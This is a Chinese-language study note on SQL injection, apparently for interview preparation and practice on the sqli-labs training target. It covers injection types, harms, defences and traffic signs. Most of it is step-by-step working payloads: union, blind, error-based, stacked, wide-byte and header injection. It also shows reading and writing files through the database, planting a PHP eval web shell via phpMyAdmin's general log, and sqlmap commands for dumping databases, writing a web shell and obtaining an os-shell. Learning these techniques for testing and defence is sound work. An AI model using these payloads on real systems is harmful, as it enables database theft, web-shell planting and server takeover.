sql注入原理
web应用对用户输入的信息过滤的不严谨或者没有过滤,将用户输入的数据当作SQL 语句带入到数据库中查询
sql注入分类
http请求头的注入、可显注入、联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入 、宽字节注入、字符型注入、数字型注入、二次注入
sql注入的危害
(1)攻击者可以在未经授权得情况下访问数据库中的数据,盗取用户的隐私和个人信息,造成用户的信息泄露。 (2)可以对数据库的数据进行增删改查,例如私自添加或删除管理员账号。 (3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。 (4)经过提权等步骤,可以获取服务器最高权限。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
报错注入、时间盲注主要用到的函数
报错:updataxml、extractvalue、floor() 时间:sleep
sql注入防御?
使用预编译;
黑名单:对特殊的字符例如括号斜杠进行转义过滤删除;
白名单:对用户的输入进行正则表达式匹配限制;
规范编码以及字符集,否者攻击者可以通过编码绕过检查;
参数化查询:原理是将用户输入的查询参数作为参数传,而不直接将它们拼接到SQL语而言,将SQL语句和参数分离开来,并通过占位符(一般使用问号“?”)将它们关联起来,这样用户的输入只会被当作参数
空格绕过: 无waf,空格在URL中表示为%20;有waf,空格用内联注释/* */
sql的流量特征
对于SQL注入的流量,可以通过以下几个步骤进行分析:
-
工具收集流量数据。可以通过网络抓包工具(如Wireshark)或Web应用程序防火墙(WAF)等工具收集SQL流量数据。
-
提取SQL语句。可以使用正则表达式或特定的工具(如sqlmap)来提取SQL语句。
-
分析SQL语句的结构和内容。可以对SQL语句进行分析,检查其中是否包含特定的关键字(如union、select、insert、update、delete等),以及是否存在注入攻击的痕迹(如单引号、分号等)。
-
检测SQL注入攻击。可以使用特定的工具(如sqlmap、WAF等)来检测SQL注入攻击,这些工具可以自动化地检测SQL注入漏洞并生成报告。
-
根据特征筛选出SQL注入流量。可以根据SQL语句的结构、长度、频率、数据库响应时间以及SQL注入攻击的特征等来筛选出SQL注入流量。通常,SQL注入攻击的流量会具有以下特征:
-
SQL语句中包含注入攻击的痕迹,如单引号、分号等。
-
SQL语句中包含特定的关键字,如union、select、insert、update、delete等。
-
SQL语句的长度和频率异常,可能会导致数据库响应时间变慢。
-
数据库的响应时间异常,可能会表明SQL注入攻击正在进行。
综上所述,可以通过分析SQL语句的结构和内容,检测SQL注入攻击,并根据特征筛选出SQL注入流量。
1.union注入(字符型)
-
判断注入类型
-
?id=1' 报错
-
?id=1' and 1=1%23 正常查询
-
?id=1' and 1=2%23 查询不到
-
单引号闭合,字符型
-
-
判断主查询列数(去猜它的主查询列数,根据输出结果判断)
-
?id=1' order by 4%23 报错
-
?id=1' order by 3%23 正常
-
说明它有三列,order by 之前的语句要是正确的才可以,就是id的值要真实存在。
-
-
查询数据库名以及版本名(版本在5.0以上的mysql才有information_schema这个库)
-
?id=-1' union select 1,database(),version()%23 (union语句如果前面那个不成立就会执行后面的语句)
-
-
查询数据库中有几张表
-
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = '数据库名'%23
-
-
插询表中字段
-
?id=-1' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_schema='数据库名' and table_name='表名'%23
-
选择语句一定要放在最后,就是from...那句。
-
-
查询字段下内容信息
-
?id=-1' union select 1,group_concat(字段名1),group_concat(字段名2) from 表名%23
-
-
union查询,就要把union前面给弄成错的 id=-1,就是id的值不是真实存在。
2.union注入(数字型)
-
判断注入类型
-
?id=1' and 1=1%23 错误
-
?id=1 and 1=1%23 正常
-
?id=1 and 1=2%23 查询不到
-
-
判断主查询语句列数
-
和字符型大同小异,只是少了单引号 ?id=1 order by ...
-
-
其它步骤和字符型查询一样(-1后面没有单引号)
3.布尔盲注
-
猜测数据库的长度(以字符型为例)
-
?id=1' and length(database()) = 数字%23 根据返回结果猜测
-
-
猜测数据库名字(一位一位的猜测)
-
?id=1' and substr(database(),1,1) = 's'%23 可以这样猜测字母
-
?id=1' and ascii(substr(database(),1,1)) = 115%23 也可以通过ascii码去猜测,当然如果觉得=不行,可以换成>,用二分法去猜测结果可能更快一点
-
建议直接使用burpsuite去爆破那个数字或者字母
-
-
判断表的数量
-
?id=1' and (select count(*) from information_schema.tables where table_schema="security") =4%23
-
-
判断某张表的长度
-
?id=1' and length((select table_name from information_schema.tables where table_schema="security" limit 0,1)) = 6%23
-
-
判断表的字母
-
?id=1' and ascii( substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1)) = 117%23
-
?id=1' and substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1) = 'u'%23
-
-
判断字段的长度
-
?id=1' and length((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1)) = 2%23
-
-
判断字段的字母
-
?id=1' and ascii( substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1)) = 105 %23
-
?id=1' and substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1) = 'i' %23
-
-
判断表的内容
-
?id=1' and substr((select username from security.users limit 0,1),1,1) = '字母'%23
-
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1)) = 数字%23
-
4.时间盲注
-
确定闭合情况
-
?id=1' and sleep(5) --+
-
-
确定表的数量
-
?id=1' and if((select count(table_name) from information_schema.tables where table_name=database())=数字,sleep(5),3) --+
-
-
确认表名
-
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_name=database() limit 0,1),1,1))=数字,sleep(5),3) --+
-
-
确认表的字段
-
?id=1' and if(ascii(substr((select column_name from information_schema.tables where table_name=database() and table_name='users' limit 0,1),1,1))=数字,sleep(5),3) --+
-
-
确定表的内容
-
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>数字,sleep(5),3) --+
-
5.报错注入
-
原理:利用数据库机制认为制造错误,使得查询结果能出现在错误中。
-
updatexml()报错注入
-
格式:updatexml(参数1,参数2,参数3) 参数1和参数3无所谓,参数2只要存在特殊符号就会报错。
-
?id=1' and (updatexml(1,concat('~',(select database()),'~'),1)) --+
-
只用改变database()就可以对其它内容进行查询。
-
-
extractvalue()报错注入
-
格式extractvalue(参数1,参数2) 参数1,无所谓,参数二不属于xml文档格式就会报错
-
?id=1' and (extractvalue(1,concat('~',(select database()),'~'))) --+
-
原理和updatexml一样
-
-
floor()报错注入
-
公式式报错
-
查库名:?id=1' and (select 1 from (select count(),concat((database()),floor(rand(0)2))x from information_schema.tables group by x)a) %23
-
查表名:?id=1' and (select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) %23
-
查字段:?id=1' and (select 1 from (select count(),concat((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) %23
-
查数据:?id=1' and (select 1 from (select count(),concat((select username from users limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) %23
6.堆叠注入
-
原理:就是在注入的时候可以一次性写入一条sql语句,并且可以通过注入点依次执行
-
条件:mysqli_multi_query:支持多条sql语句同时执行,以分号;分隔(就是说人家的源码里面要有这个函数才行)
-
怎么判断:分号意味着上一条语句执行结束,不会执行后面的语句,所以,在正常闭合的情况下,只要分号能够达到注释后面语句的效果,那么就能够确认,当下目标是存在堆叠注入的
-
分号是判断堆叠注入是否存在的,假如说相应的站点过滤了分号怎么办,可以替代分号的结束符 \g 和 \G
-
堆叠注入,只要权限足够可以构造任何语句在数据库里面执行
7.二次注入
-
原理:攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
-
条件:网站对用户输入的数据过滤不严格。
8.宽字节注入
-
概念:因为gbk编码方式需要两个ascii组合来解码,所以很形象的叫做宽字节。
-
原理:当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。
-
宽字节注入条件:
-
数据库查询设置为GBK编码
-
使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数附:GBK编码表 GBK 编码范围, GBK 编码表
-
9.http头注入
-
useragent注入
-
当我们输入一些信息后,他会显示ua信息,此时就可以使用ua头注入。(案例:靶场第十八关)
-
抓包之后改它的ua头
-
-
referer注入
-
当我们访问一个网站时,你的浏览器需要告诉服务器你是从哪个地方访问服务器的
-
案例(靶场19关)
-
就是在抓包后,改它的referer即可(建议带post参数访问,可以快速出referer)
-
-
cookie注入
-
Cookie: 就是一段字符串,是浏览器保存服务器返回数据的方法,通常保存用户身份信息。是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息
-
session:当访问服务器的某个网页的时候,会在服务器端的内存里开辟一块内存,这块内存就叫做session,而这个内存是跟浏览器关联在一起的。这个浏览器指的是浏览器窗口,或者是浏览器的子窗口,意思就是,只允许当前这个session对应的浏览器访问,就算是在同一个机器上新启的浏览器也是无法访问的。而另外一个浏览器也需要记录session的话,就会再启一个属于自己的session。也称为会话控制。
-
案例(靶场20关)
-
只需抓包后改cookie
-
10.SQL注入读写文件
-
上传一句话木马获取webshell需要满足的条件
-
木马上传成功,未被杀
-
知道木马的路径在哪里
-
上传的木马能正常运行
-
-
sql注入获取对方服务器权限,需要满足以下条件
-
当前sql注入用户必须为DBA权限(--is-dba为true,DBA权限为数据库最高权限)
-
SELECT * FROM mysql.user WHERE User = 'root' AND Super_priv = 'Y' AND (Select_priv = 'Y' OR Insert_priv = 'Y' OR Update_priv = 'Y' OR Delete_priv = 'Y' OR Create_priv = 'Y' OR Drop_priv = 'Y' OR Reload_priv = 'Y' OR Shutdown_priv = 'Y' OR Process_priv = 'Y' OR File_priv = 'Y' OR Grant_priv = 'Y' OR References_priv = 'Y' OR Index_priv = 'Y' OR Alter_priv = 'Y' OR Show_db_priv = 'Y' OR Super_priv = 'Y' OR Create_tmp_table_priv = 'Y' OR Lock_tables_priv = 'Y' OR Execute_priv = 'Y' OR Repl_slave_priv = 'Y' OR Repl_client_priv = 'Y');
查询出来的结果不为空,那就代表具备DBA权限(进入mysql输入)
-
需要知道网站的绝对路径
-
my.ini文件中的secure_file_priv=" "为空(这个是你数据库下载文件里面那个文件)
-
-
读取文案
-
load_file()
-
例子:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,load_file('E:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php') %23
-
-
写入文案
-
into outfile()
-
例子:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'E:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-1/ab.php' %23
-
11.phpmyadmin日志写一句话木马
-
条件:
-
数据库用户为root权限
-
网站绝对路径(确定有写入的权限)
-
secure_file_priv为空
-
-
实现步骤
1.查看mysql全局日志的配置:
show variables like '%general%'
2.开启日志
set global general_log=on
3.设置日志目录的地址为网站服务器绝对路径下生成的一句话木马文件
set global general_log_file = 'C:/phpstudy/WWW/133.php'
4.写入一句话木马文件
select '<?php @eval($POST[id];?)>' into outfile 'C:/phpstudy/WWW/133.php'
5.工具连接验证
12.sql注入面试常问
-
什么是sql注入(sql注入的原理)
web应用对用户输入的信息过滤的不严谨或者没有过滤,将用户输入的数据当作SQL 语句带入到数据库中查询(数据库得认识)
sql注入的危害
(1)攻击者可以在未经授权得情况下访问数据库中的数据,盗取用户的隐私和个人信息,造成用户的信息泄露。
(2)可以对数据库的数据进行增删改查,例如私自添加或删除管理员账号。
(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
(4)经过提权等步骤,可以获取服务器最高权限。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
SQL注入的分类
#从反馈结果
回显型 无回显型
#攻击手法
联合查询 堆叠 报错 盲注-布尔 -时间
SQL注入的修复和防御(规避)
#代码层防御
1-对用户输入的内容进行转义(php addslashes() mysql_real_escape()函数)
2-限制关键字输入(php中 preg_replace()函数)
3-使用预处理,对sql语句进行预编译(参数化查询)
#网络层面
部署防火墙和软硬WAF
13.sqlmap工具的使用
-
检测目标网址是否存在注入
python sqlmap.py -u "url"
-
获取对方所有数据库的名称
python sqlmap.py -u "url" --dbs
-
获取指定数据库下的表
python sqlmap.py -u "url" -D "数据库名" --tables
-
获取表中的字段
python sqlmap.py -u "url" -D "数据库名" -T "表名1,表名2" --columns
-
获取内容
python sqlmap.py -u "url" -D "数据库名" -T "表名" -C "字段1,字段2,..." --dump
-
禁止使用
--risk 3
risk 等级最高为3,但是不要去使用。
因为有的时候,在测试update.delete语句的时候,跟上了一个or,可能会删除整张表的数据或者更新整张表的数据。(严禁触碰人家的数据库真实信息。否则三年起步)。
-
具体使用方法
SQLmap手册:https://www.cnblogs.com/hongfei/p/3872156.html 超详细SQLmap使用手册:https://www.cnblogs.com/cscshi/p/15705030.html
-
sqlmap读取sql靶场任意文件
python sqlmap.py -u "靶场地址" --file-read "文件路径"
-
使用sqlmap写入一句话木马
python sqlmap.py -u "靶场地址" --file-write="木马文件地址" --file-dest="新文件地址"
-
使用sqlmap获取os-shell
python sqlmap.py -u "靶场地址" --os-shell